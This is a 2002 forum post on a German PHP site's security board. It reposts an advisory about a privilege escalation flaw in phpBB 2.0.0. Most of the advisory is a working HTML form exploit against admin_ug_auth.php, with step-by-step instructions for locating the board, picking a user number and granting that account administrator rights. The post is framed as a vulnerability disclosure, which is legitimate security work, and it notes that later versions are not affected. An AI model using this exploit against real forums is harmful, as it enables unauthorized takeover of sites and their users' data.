- Ad -
php-resource



Zurück   PHP-Scripte PHP-Tutorials PHP-Jobs und vieles mehr > IT-Security Forum > IT-Security
 

Login

 
eingeloggt bleiben
star Jetzt registrieren   star Passwort vergessen
 

 

 

 


IT-Security Alles rund um IT-Security aus den Bereichen Hard- und Software

Antwort
 
LinkBack Themen-Optionen Thema bewerten
  #1 (permalink)  
Alt 29-10-2002, 08:19
MoRtAlAn
 PHP Master
Links : Onlinestatus : MoRtAlAn ist offline
Registriert seit: Jan 2002
Ort: Mühlheim am Main
Beiträge: 5.934
MoRtAlAn ist zur Zeit noch ein unbeschriebenes Blatt
Standard Vulnerability in PHPBB 2.0

Privilege Escalation Vulnerability In phpBB 2.0.0
-------------------------------------------------

Rootsecure.net recently found a privilege escalation vulnerability
in "phpBB 2.0.0" which allows any person with a "user" level account to
escalate their privileges to that of "administrator" level, and therefore
gain full unrestrictive control of a forum.

A coding error exists in the admin_ug_auth.php script (used to set
permissions), which means that although admin rights are needed to view
the page, anyone can post data back to it "no questions asked".
Therefore, if you already know what kind of response the board is looking
for, you can go straight ahead and tell it directly that you want to give
admin rights to a specific account.

Demonstration Code
------------------

< html >
< head >
< /head >
< body >

< form method="post"
action="http://www.domain_name/board_directory/admin/admin_ug_auth.php"; >
User Level: < select name="userlevel" >
< option value="admin" >Administrator< /option >
< option value="user" >User< /option >< /select >
< input type="hidden" name="private[1]" value="0" >
< input type="hidden" name="moderator[1]" value="0" >
< input type="hidden" name="mode" value="user" >
< input type="hidden" name="adv" value="" >
User Number: < input type="text" name="u" size="5" >
< input type="submit" name="submit" value="Submit" >

< /form >
< /body >
< /html >

Before using the sample code you must first find out two bits of
information:

1. The base directory of the board, (usually something like
http://www.mydomain.com/phpBB2), which is found by taking off index.php
from the main page URL.
2. The user number of the account you wish to give admin. To do this go
to the forums member list page, click your username, then note down the
number shown at the right end of the URL you are now at. (if no users
have been deleted from the board, then the number next to your username
on the members list page under the "#" column will also be your true user
number).

When you have all the information, ensure you log out from the board.
(otherwise, you will get a permissions error later on).

Now edit the form action in the demonstration code above to be the full
location of the boards base directory plus the location of the admin
script. Usually, this is in a subdirectory from the base directory
called /admin/. Your result should look something like this:
action=http://www.domain_name/board_directory/admin/admin_ug_auth.php.
Save the changes to your page when you are done.

Next just call it in a local browser window, typing the user number you
obtained into the user number box on screen, and hit submit. On your
next login, you will have admin rights.

Note: phpBB versions above 2.0.0 are not vulnerable.

Additional information along with downloadable versions of the exploit
code in the form of a static HTML page, and Perl script can be found at
http://www.rootsecure.net?menuitem=exploit_code
Mit Zitat antworten
Antwort

Lesezeichen


Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1)
 

Themen-Optionen
Thema bewerten
Thema bewerten:

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are an


PHP News

MariaDB 5.5 veröffentlicht
MariaDB 5.5 veröffentlichtDie freie MySQL-Alternative MariaDB wurde in der stabilen Version 5.5.23 veröffentlicht und soll einige Verbesserungen gegenüber Oracles Communityversion von MySQL mitbringen.

16.04.2012 | Berni

Deutsche Yii Framework Community
Deutsche Yii Framework CommunitySeit dem 19.03.2012 gibt es für die Yii PHP Framework Community ein deutsches Zuhause.

20.03.2012 | dhcomputer

 

Aktuelle PHP Scripte

BROM CMS/BelCal 3 ansehen BROM CMS/BelCal 3

Spezielles CMS für Betreiber von Ferienwohnungen. Komplette Seitenerstellung online, Verwaltung mehrerer Objekte, Reservierungssystem mit sofortigem Abgleich im Belegungskalender und vieles mehr bietet dieses Content Management System.

25.05.2012 belcal2 | Kategorie: PHP/ CMS
belbit LiveSupport Script ansehen belbit LiveSupport Script

Schnellen und unkomplizierten Support im LiveSupport-Chat anbieten. Ohne Datenbank und in wenigen Sekunden installiert.

24.05.2012 EichbaumMedia | Kategorie: PHP/ Chat
belbit Ticketcenter-Script ansehen belbit Ticketcenter-Script

Verwalten Sie Supportanfragen zuverlässig im Web2.0-Stil anstatt per E-Mail - inkl. Überprüfung, ob Antworten gelesen wurden und mehr.

24.05.2012 EichbaumMedia | Kategorie: PHP/ Ticketsystem
 Alle PHP Scripte anzeigen

Alle Zeitangaben in WEZ +2. Es ist jetzt 10:53 Uhr.